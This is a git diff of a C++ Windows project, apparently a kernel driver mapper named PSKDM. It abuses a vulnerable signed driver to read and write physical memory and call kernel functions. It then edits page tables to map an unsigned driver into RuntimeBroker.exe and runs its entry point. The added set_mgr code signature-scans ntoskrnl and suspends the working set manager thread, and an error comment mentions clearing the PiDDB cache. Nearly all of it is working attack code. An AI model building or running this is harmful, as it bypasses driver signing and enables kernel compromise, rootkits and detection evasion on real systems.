diff --git a/PSKDM/PSKDM.vcxproj b/PSKDM/PSKDM.vcxproj index fde7a9a..3e5dc91 100644 --- a/PSKDM/PSKDM.vcxproj +++ b/PSKDM/PSKDM.vcxproj @@ -202,6 +202,7 @@ + @@ -209,13 +210,14 @@ + - + diff --git a/PSKDM/PSKDM.vcxproj.filters b/PSKDM/PSKDM.vcxproj.filters index e2026b6..818bb07 100644 --- a/PSKDM/PSKDM.vcxproj.filters +++ b/PSKDM/PSKDM.vcxproj.filters @@ -32,6 +32,9 @@ Source Files + + Source Files + @@ -64,7 +67,10 @@ Header Files - + + Header Files + + Header Files diff --git a/PSKDM/map_driver.cpp b/PSKDM/map_driver.cpp index 6a1f381..8d4388a 100644 --- a/PSKDM/map_driver.cpp +++ b/PSKDM/map_driver.cpp @@ -1,7 +1,8 @@ #include "map_driver.hpp" #include "mapper_ctx/mapper_ctx.hpp" -#include "vdm_ctx/vdm_ctx.h" +#include "vdm_ctx/vdm_ctx.hpp" #include "vdm/vdm.hpp" +#include "set_mgr/set_mgr.hpp" namespace mapper { @@ -21,18 +22,35 @@ namespace mapper if (!runtime_broker_pid) return { mapper_error::failed_to_create_proc, nullptr }; - vdm::vdm_ctx v_ctx; - nasa::mem_ctx my_proc(v_ctx, GetCurrentProcessId()); - nasa::mem_ctx runtime_broker(v_ctx, runtime_broker_pid); - nasa::mapper_ctx mapper(my_proc, runtime_broker); + vdm::read_phys_t _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; - const auto [drv_base, drv_entry] = mapper.map(drv_buffer); + vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; + + vdm::vdm_ctx v_ctx(_read_phys, _write_phys); + nasa::mem_ctx my_proc(&v_ctx, GetCurrentProcessId()); + nasa::mem_ctx runtime_broker(&v_ctx, runtime_broker_pid); + nasa::mapper_ctx mapper(&my_proc, &runtime_broker); + + const auto result = + set_mgr::stop_setmgr(v_ctx, + set_mgr::get_setmgr_pethread(v_ctx)); + if (result != STATUS_SUCCESS) + return { mapper_error::set_mgr_failure, nullptr }; + + const auto [drv_base, drv_entry] = mapper.map(drv_buffer); if (!drv_base || !drv_entry) return { mapper_error::init_failed, nullptr }; mapper.call_entry(drv_entry, entry_data); - if (!vdm::unload_drv(drv_handle, drv_key)) return { mapper_error::unload_error, nullptr }; diff --git a/PSKDM/map_driver.hpp b/PSKDM/map_driver.hpp index 3291a01..5563f91 100644 --- a/PSKDM/map_driver.hpp +++ b/PSKDM/map_driver.hpp @@ -7,13 +7,14 @@ namespace mapper { enum class mapper_error { - error_success = 0x000, // everything is good! - image_invalid = 0x111, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) - load_error = 0x222, // unable to load signed driver into the kernel (are you running as admin?) - unload_error = 0x333, // unable to unload signed driver from kernel (are all handles to this driver closes?) - piddb_fail = 0x444, // piddb cache clearing failed... (are you using this code below windows 10?) - init_failed = 0x555, // setting up library dependancies failed! - failed_to_create_proc = 0x777 // was unable to create a new process to inject driver into! (RuntimeBroker.exe) + error_success, // everything is good! + image_invalid, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) + load_error, // unable to load signed driver into the kernel (are you running as admin?) + unload_error, // unable to unload signed driver from kernel (are all handles to this driver closes?) + piddb_fail, // piddb cache clearing failed... (are you using this code below windows 10?) + init_failed, // setting up library dependancies failed! + failed_to_create_proc, // was unable to create a new process to inject driver into! (RuntimeBroker.exe) + set_mgr_failure // unable to stop working set manager thread... this thread can cause issues with PTM... }; /// @@ -23,5 +24,5 @@ namespace mapper /// size of the driver buffer /// data to be sent to the entry point of the driver... /// status of the driver being mapped, and base address of the driver... - std::pair map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data); + auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data)->std::pair; } \ No newline at end of file diff --git a/PSKDM/mapper_ctx/mapper_ctx.cpp b/PSKDM/mapper_ctx/mapper_ctx.cpp index 829c204..d9c12bc 100644 --- a/PSKDM/mapper_ctx/mapper_ctx.cpp +++ b/PSKDM/mapper_ctx/mapper_ctx.cpp @@ -4,8 +4,8 @@ namespace nasa { mapper_ctx::mapper_ctx ( - nasa::mem_ctx& map_into, - nasa::mem_ctx& map_from + nasa::mem_ctx* map_into, + nasa::mem_ctx* map_from ) : map_into(map_into), @@ -14,7 +14,7 @@ namespace nasa { const auto map_into_pml4 = reinterpret_cast( - map_into.set_page(map_into.get_dirbase())); + map_into->set_page(map_into->dirbase)); // look for an empty pml4e... for (auto idx = 0u; idx < 256; ++idx) @@ -30,18 +30,20 @@ namespace nasa auto mapper_ctx::map(std::vector& raw_image) -> std::pair { const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image); - auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc); + auto [drv_ppml4e, drv_pml4e] = map_from->get_pml4e(drv_alloc); - while (!SwitchToThread()); make_kernel_access(drv_alloc); - map_from.set_pml4e(drv_ppml4e, pml4e{ NULL }); - while (!SwitchToThread()); + while (!map_from->set_pml4e(drv_ppml4e, pml4e{ NULL })) + continue; drv_pml4e.nx = false; drv_pml4e.user_supervisor = false; - map_into.write_phys(reinterpret_cast( - map_into.get_dirbase()) + this->pml4_idx, drv_pml4e); + // ensure we insert the pml4e... + while (!map_into->write_phys( + reinterpret_cast( + map_into->dirbase) + this->pml4_idx, drv_pml4e)) + continue; virt_addr_t new_addr = { reinterpret_cast(drv_alloc) }; new_addr.pml4_index = this->pml4_idx; @@ -50,7 +52,7 @@ namespace nasa void mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const { - map_into.v_ctx->syscall(drv_entry, hook_handler); + map_into->v_ctx->syscall(drv_entry, hook_handler); } auto mapper_ctx::allocate_driver(std::vector& raw_image) -> std::pair @@ -60,11 +62,11 @@ namespace nasa OpenProcess( PROCESS_ALL_ACCESS, FALSE, - map_from.get_pid() + map_from->pid ); if (!process_handle) - return {}; + return { {}, {} }; drv_image.fix_imports([&](const char* module_name, const char* export_name) { @@ -87,7 +89,7 @@ namespace nasa )); if (!drv_alloc_base) - return {}; + return { {}, {} }; virt_addr_t new_addr = { reinterpret_cast(drv_alloc_base) }; new_addr.pml4_index = this->pml4_idx; @@ -110,15 +112,23 @@ namespace nasa return { reinterpret_cast(drv_alloc_base), - reinterpret_cast(drv_image.entry_point() + reinterpret_cast(new_addr.value)) + reinterpret_cast(drv_image.entry_point() + + reinterpret_cast(new_addr.value)) }; } void mapper_ctx::make_kernel_access(void* drv_base) { - const auto [ppdpte, pdpte] = map_from.get_pdpte(drv_base); - auto ppdpte_phys = reinterpret_cast((reinterpret_cast(ppdpte) >> 12) << 12); // 0 the last 12 bits... - auto pdpt_mapping = reinterpret_cast<::ppdpte>(map_from.set_page(ppdpte_phys)); + const auto [ppdpte, pdpte] = + map_from->get_pdpte(drv_base); + + auto ppdpte_phys = + reinterpret_cast(( + reinterpret_cast(ppdpte) >> 12) << 12); // 0 the last 12 bits... + + auto pdpt_mapping = + reinterpret_cast<::ppdpte>( + map_from->set_page(ppdpte_phys)); // set pdptes to CPL0 access only and executable... for (auto pdpt_idx = 0u; pdpt_idx < 512; ++pdpt_idx) @@ -129,7 +139,7 @@ namespace nasa pdpt_mapping[pdpt_idx].nx = false; auto pd_mapping = reinterpret_cast( - map_from.set_page(reinterpret_cast( + map_from->set_page(reinterpret_cast( pdpt_mapping[pdpt_idx].pfn << 12))); // set pdes to CPL0 access only and executable... @@ -141,7 +151,7 @@ namespace nasa pd_mapping[pd_idx].nx = false; auto pt_mapping = reinterpret_cast( - map_from.set_page(reinterpret_cast( + map_from->set_page(reinterpret_cast( pd_mapping[pd_idx].pfn << 12))); // set ptes to CPL0 access only and executable... @@ -156,14 +166,14 @@ namespace nasa // set page back to pd... pd_mapping = reinterpret_cast( - map_from.set_page(reinterpret_cast( + map_from->set_page(reinterpret_cast( pdpt_mapping[pdpt_idx].pfn << 12))); } } // set page back to pdpt... pdpt_mapping = reinterpret_cast<::ppdpte>( - map_from.set_page(ppdpte_phys)); + map_from->set_page(ppdpte_phys)); } } } diff --git a/PSKDM/mapper_ctx/mapper_ctx.hpp b/PSKDM/mapper_ctx/mapper_ctx.hpp index 9ed4800..4f7f2ec 100644 --- a/PSKDM/mapper_ctx/mapper_ctx.hpp +++ b/PSKDM/mapper_ctx/mapper_ctx.hpp @@ -6,14 +6,14 @@ namespace nasa class mapper_ctx { public: - explicit mapper_ctx(nasa::mem_ctx& map_into, nasa::mem_ctx& map_from); - auto map(std::vector& raw_image)->std::pair; + explicit mapper_ctx(nasa::mem_ctx* map_into, nasa::mem_ctx* map_from); + auto map(std::vector& raw_image) -> std::pair; void call_entry(void* drv_entry, void** hook_handler) const; private: std::uint16_t pml4_idx; - auto allocate_driver(std::vector& raw_image)->std::pair; + auto allocate_driver(std::vector& raw_image) -> std::pair; void make_kernel_access(void* drv_base); - nasa::mem_ctx map_into, map_from; + nasa::mem_ctx* map_into, *map_from; }; } \ No newline at end of file diff --git a/PSKDM/mem_ctx/mem_ctx.cpp b/PSKDM/mem_ctx/mem_ctx.cpp index 12ebd48..1e487f7 100644 --- a/PSKDM/mem_ctx/mem_ctx.cpp +++ b/PSKDM/mem_ctx/mem_ctx.cpp @@ -2,20 +2,25 @@ namespace nasa { - mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid) + mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid) : - v_ctx(&v_ctx), - dirbase(get_dirbase(v_ctx, pid)), + v_ctx(v_ctx), + dirbase(get_dirbase(*v_ctx, pid)), pid(pid) { // find an empty pml4e inside of current processes pml4... const auto current_pml4 = - v_ctx.get_virtual(reinterpret_cast( - get_dirbase(v_ctx, GetCurrentProcessId()))); + v_ctx->get_virtual(reinterpret_cast( + get_dirbase(*v_ctx, GetCurrentProcessId()))); for (auto idx = 100u; idx > 0u; --idx) - if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + { + if (!v_ctx->rkm(current_pml4 + (idx * sizeof pml4e)).present) + { this->pml4e_index = idx; + break; + } + } // allocate a pdpt this->new_pdpt.second = @@ -31,13 +36,17 @@ namespace nasa // get page table entries for new pdpt pt_entries new_pdpt_entries; hyperspace_entries(new_pdpt_entries, new_pdpt.second); - this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + this->new_pdpt.first = + reinterpret_cast( + new_pdpt_entries.pt.second.pfn << 12); // make a new pml4e that points to our new pdpt. new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; // set the pml4e to point to the new pdpt - set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) + + this->pml4e_index, new_pdpt_entries.pml4.second, true); // make a new pd this->new_pd.second = @@ -54,7 +63,10 @@ namespace nasa // get paging table entries for pd pt_entries new_pd_entries; hyperspace_entries(new_pd_entries, this->new_pd.second); - this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + this->new_pd.first = + reinterpret_cast( + new_pd_entries.pt.second.pfn << 12); // make a new pt this->new_pt.second = @@ -71,42 +83,42 @@ namespace nasa // get paging table entries for pt pt_entries new_pt_entries; hyperspace_entries(new_pt_entries, this->new_pt.second); - this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + + this->new_pt.first = + reinterpret_cast( + new_pt_entries.pt.second.pfn << 12); } mem_ctx::~mem_ctx() { - set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, pml4e{NULL}); - while (!SwitchToThread()); + const auto pml4 = + reinterpret_cast( + set_page(dirbase))[pml4e_index] = pml4e{ NULL }; } void* mem_ctx::set_page(void* addr) { - // table entry change. + ++pte_index; + if (pte_index > 511) { - ++pte_index; - if (pte_index >= 511) - { - ++pde_index; - pte_index = 0; - } - - if (pde_index >= 511) - { - ++pdpte_index; - pde_index = 0; - } + ++pde_index; + pte_index = 0; + } - if (pdpte_index >= 511) - pdpte_index = 0; + if (pde_index > 511) + { + ++pdpte_index; + pde_index = 0; } + if (pdpte_index > 511) + pdpte_index = 0; + pdpte new_pdpte = { NULL }; new_pdpte.present = true; new_pdpte.rw = true; new_pdpte.pfn = reinterpret_cast(new_pd.first) >> 12; new_pdpte.user_supervisor = true; - new_pdpte.accessed = true; // set pdpte entry *reinterpret_cast(new_pdpt.second + pdpte_index) = new_pdpte; @@ -116,7 +128,6 @@ namespace nasa new_pde.rw = true; new_pde.pfn = reinterpret_cast(new_pt.first) >> 12; new_pde.user_supervisor = true; - new_pde.accessed = true; // set pde entry *reinterpret_cast(new_pd.second + pde_index) = new_pde; @@ -126,7 +137,6 @@ namespace nasa new_pte.rw = true; new_pte.pfn = reinterpret_cast(addr) >> 12; new_pte.user_supervisor = true; - new_pte.accessed = true; // set pte entry *reinterpret_cast(new_pt.second + pte_index) = new_pte; @@ -145,18 +155,39 @@ namespace nasa new_addr.pd_index = this->pde_index; new_addr.pt_index = this->pte_index; new_addr.offset = this->page_offset; + + // handle TLB issues, the TLB might need to be flushed for this entry... + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + // try again to access the page... + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + // try one last time by yeilding execution... + __except (EXCEPTION_EXECUTE_HANDLER) + { + while (!SwitchToThread()) + continue; + } + } return new_addr.value; } void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid) { const auto peproc = - reinterpret_cast(v_ctx.get_peprocess(pid)); + reinterpret_cast( + v_ctx.get_peprocess(pid)); - const auto dirbase = - v_ctx.rkm(peproc + 0x28); - - return reinterpret_cast(dirbase.pfn << 12); + return reinterpret_cast( + v_ctx.rkm(peproc + 0x28).pfn << 12); } bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) @@ -201,95 +232,106 @@ namespace nasa return true; } - std::pair mem_ctx::get_pte(void* addr, bool use_hyperspace) + auto mem_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair { if (!dirbase || !addr) - return {}; + return { {}, {} }; pt_entries entries; if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) return { entries.pt.first, entries.pt.second }; - return {}; + + return { {}, {} }; } - void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) + bool mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) { if (!dirbase || !addr) - return; + return false; if (use_hyperspace) - v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pte); - else - write_phys(addr, pte); + return v_ctx->wkm( + v_ctx->get_virtual( + reinterpret_cast(addr)), pte); + + return write_phys(addr, pte); } - std::pair mem_ctx::get_pde(void* addr, bool use_hyperspace) + auto mem_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair { if (!dirbase || !addr) - return {}; + return { {}, {} }; pt_entries entries; if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) return { entries.pd.first, entries.pd.second }; - return {}; + return { {}, {} }; } - void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) + bool mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) { - if (!this->dirbase || !addr) - return; + if (!dirbase || !addr) + return false; if (use_hyperspace) - v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pde); - else - write_phys(addr, pde); + return v_ctx->wkm( + v_ctx->get_virtual( + reinterpret_cast(addr)), pde); + + return write_phys(addr, pde); } - std::pair mem_ctx::get_pdpte(void* addr, bool use_hyperspace) + auto mem_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair { if (!dirbase || !addr) - return {}; + return { {}, {} }; pt_entries entries; if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) return { entries.pdpt.first, entries.pdpt.second }; - return {}; + + return { {}, {} }; } - void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) + bool mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) { - if (!this->dirbase || !addr) - return; + if (!dirbase || !addr) + return false; if (use_hyperspace) - v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pdpte); - else - write_phys(addr, pdpte); + return v_ctx->wkm( + v_ctx->get_virtual( + reinterpret_cast(addr)), pdpte); + + return write_phys(addr, pdpte); } - std::pair mem_ctx::get_pml4e(void* addr, bool use_hyperspace) + auto mem_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair { - if (!this->dirbase || !addr) - return {}; + if (!dirbase || !addr) + return { {}, {} }; pt_entries entries; if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) return { entries.pml4.first, entries.pml4.second }; - return {}; + + return { {}, {} }; } - void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) + bool mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) { - if (!this->dirbase || !addr) - return; + if (!dirbase || !addr) + return false; if (use_hyperspace) - v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pml4e); - else - write_phys(addr, pml4e); + return v_ctx->wkm( + v_ctx->get_virtual( + reinterpret_cast(addr)), pml4e); + + return write_phys(addr, pml4e); } - std::pair mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) + auto mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair { if (!buffer || !addr || !size || !dirbase) return {}; @@ -331,7 +373,7 @@ namespace nasa } } - std::pair mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) + auto mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair { if (!buffer || !addr || !size || !dirbase) return {}; @@ -373,10 +415,10 @@ namespace nasa } } - void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -384,13 +426,16 @@ namespace nasa memcpy(buffer, temp_page, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } - void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -398,12 +443,15 @@ namespace nasa memcpy(temp_page, buffer, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) { - if (!addr || !this->dirbase) + if (!addr || !dirbase) return {}; const virt_addr_t virt_addr{ addr }; @@ -447,37 +495,4 @@ namespace nasa return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); } - - unsigned mem_ctx::get_pid() const - { - return pid; - } - - void* mem_ctx::get_dirbase() const - { - return dirbase; - } - - pml4e mem_ctx::operator[](std::uint16_t pml4_idx) - { - return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); - } - - pdpte mem_ctx::operator[](const std::pair& entry_idx) - { - const auto pml4_entry = this->operator[](entry_idx.first); - return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); - } - - pde mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); - return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); - } - - pte mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); - return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); - } } \ No newline at end of file diff --git a/PSKDM/mem_ctx/mem_ctx.hpp b/PSKDM/mem_ctx/mem_ctx.hpp index da40df2..d0f555f 100644 --- a/PSKDM/mem_ctx/mem_ctx.hpp +++ b/PSKDM/mem_ctx/mem_ctx.hpp @@ -1,36 +1,33 @@ #pragma once #include "../util/nt.hpp" -#include "../vdm_ctx/vdm_ctx.h" +#include "../vdm_ctx/vdm_ctx.hpp" namespace nasa { class mem_ctx { - friend class mapper_ctx; public: - explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId()); + explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId()); ~mem_ctx(); - std::pair get_pte(void* addr, bool use_hyperspace = false); - void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); + auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair; + bool set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); - std::pair get_pde(void* addr, bool use_hyperspace = false); - void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); + auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair; + bool set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); - std::pair get_pdpte(void* addr, bool use_hyperspace = false); - void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); + auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair; + bool set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); - std::pair get_pml4e(void* addr, bool use_hyperspace = false); - void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); - - void* get_dirbase() const; + auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair; + bool set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid); - void read_phys(void* buffer, void* addr, std::size_t size); - void write_phys(void* buffer, void* addr, std::size_t size); + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); template - T read_phys(void* addr) + __forceinline T read_phys(void* addr) { T buffer; read_phys((void*)&buffer, addr, sizeof(T)); @@ -38,13 +35,13 @@ namespace nasa } template - void write_phys(void* addr, const T& data) + __forceinline bool write_phys(void* addr, const T& data) { - write_phys((void*)&data, addr, sizeof(T)); + return write_phys((void*)&data, addr, sizeof(T)); } - std::pair read_virtual(void* buffer, void* addr, std::size_t size); - std::pair write_virtual(void* buffer, void* addr, std::size_t size); + auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair; + auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair; template __forceinline T read_virtual(void* addr) @@ -61,19 +58,15 @@ namespace nasa } void* virt_to_phys(pt_entries& entries, void* addr); + bool hyperspace_entries(pt_entries& entries, void* addr); + void* set_page(void* addr); void* get_page() const; - unsigned get_pid() const; - - pml4e operator[](std::uint16_t pml4_idx); - pdpte operator[](const std::pair& entry_idx); - pde operator[](const std::tuple& entry_idx); - pte operator[](const std::tuple& entry_idx); - private: - bool hyperspace_entries(pt_entries& entries, void* addr); + unsigned pid; void* dirbase; vdm::vdm_ctx* v_ctx; + private: std::uint16_t pml4e_index, pdpte_index, pde_index, @@ -83,6 +76,5 @@ namespace nasa std::pair new_pdpt; std::pair new_pd; std::pair new_pt; - unsigned pid; }; } \ No newline at end of file diff --git a/PSKDM/set_mgr/set_mgr.cpp b/PSKDM/set_mgr/set_mgr.cpp new file mode 100644 index 0000000..e2fd1c6 --- /dev/null +++ b/PSKDM/set_mgr/set_mgr.cpp @@ -0,0 +1,77 @@ +#include "set_mgr.hpp" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD + { + ULONG return_len = 0u; + std::size_t alloc_size = 0x1000u; + auto process_info = reinterpret_cast(malloc(alloc_size)); + + while (NtQuerySystemInformation + ( + SystemProcessInformation, + process_info, + alloc_size, + &return_len + ) == STATUS_INFO_LENGTH_MISMATCH) + process_info = reinterpret_cast( + realloc(process_info, alloc_size += 0x1000)); + + const auto og_ptr = process_info; + while (process_info && process_info->UniqueProcessId != (HANDLE)4) + process_info = reinterpret_cast( + reinterpret_cast(process_info) + process_info->NextEntryOffset); + + auto thread_info = reinterpret_cast( + reinterpret_cast(process_info) + sizeof SYSTEM_PROCESS_INFORMATION); + + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [ke_balance_um, ke_balance_rva] = + util::memory::sig_scan( + KE_BALANCE_SIG, KE_BALANCE_MASK); + + auto rip_rva = *reinterpret_cast(ke_balance_um + 19); + const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva; + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + + static const auto lookup_pethread = + util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId"); + + for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx) + { + if (thread_info[idx].StartAddress == reinterpret_cast(ke_balance_set)) + { + PETHREAD pethread; + auto result = v_ctx.syscall( + lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread); + + free(og_ptr); + return pethread; + } + } + + free(og_ptr); + return {}; + } + + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS + { + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + const auto rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + return v_ctx.syscall(ps_suspend_thread, pethread, nullptr); + } +} \ No newline at end of file diff --git a/PSKDM/set_mgr/set_mgr.hpp b/PSKDM/set_mgr/set_mgr.hpp new file mode 100644 index 0000000..5b99746 --- /dev/null +++ b/PSKDM/set_mgr/set_mgr.hpp @@ -0,0 +1,18 @@ +#pragma once +#include "../vdm_ctx/vdm_ctx.hpp" + +using PETHREAD = PVOID; +using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG); +using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*); + +#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05" +#define KE_BALANCE_MASK "xxxxx????xxx????xxx" + +#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75" +#define SUSPEND_THREAD_MASK "x????xxxxxxx" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD; + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS; +} \ No newline at end of file diff --git a/PSKDM/util/util.hpp b/PSKDM/util/util.hpp index 69b848c..2a7fd37 100644 --- a/PSKDM/util/util.hpp +++ b/PSKDM/util/util.hpp @@ -319,4 +319,54 @@ namespace util } return NULL; } + + namespace memory + { + template + __forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair + { + static const auto ntoskrnl_module = + LoadLibraryEx( + "ntoskrnl.exe", + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + static const auto p_idh = reinterpret_cast(ntoskrnl_module); + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return { {}, {} }; + + static const auto p_inh = reinterpret_cast((LPBYTE)ntoskrnl_module + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return { {}, {} }; + + const auto pattern_view = + std::string_view + { + reinterpret_cast(ntoskrnl_module), + p_inh->OptionalHeader.SizeOfImage + }; + + std::array, pattern_length - 1> pattern{}; + for (std::size_t index = 0; index < pattern_length - 1; index++) + pattern[index] = { signature[index], mask[index] }; + + auto resultant_address = std::search + ( + pattern_view.cbegin(), + pattern_view.cend(), + pattern.cbegin(), + pattern.cend(), + [](char left, std::pair right) -> bool { + return (right.second == '?' || left == right.first); + }); + + const auto found_address = + resultant_address == pattern_view.cend() ? 0 : + reinterpret_cast(resultant_address.operator->()); + + const auto rva = found_address - reinterpret_cast(ntoskrnl_module); + return { found_address, rva }; + } + } } \ No newline at end of file diff --git a/PSKDM/vdm_ctx/vdm_ctx.cpp b/PSKDM/vdm_ctx/vdm_ctx.cpp index 52581c6..9061160 100644 --- a/PSKDM/vdm_ctx/vdm_ctx.cpp +++ b/PSKDM/vdm_ctx/vdm_ctx.cpp @@ -1,10 +1,13 @@ -#include "vdm_ctx.h" +#include "vdm_ctx.hpp" namespace vdm { - vdm_ctx::vdm_ctx() + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) { - // if we already found the syscall's physical page... + // already found the syscall's physical page... if (vdm::syscall_address.load()) return; @@ -34,9 +37,37 @@ namespace vdm search_thread.join(); } + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + + bool vdm_ctx::rkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + 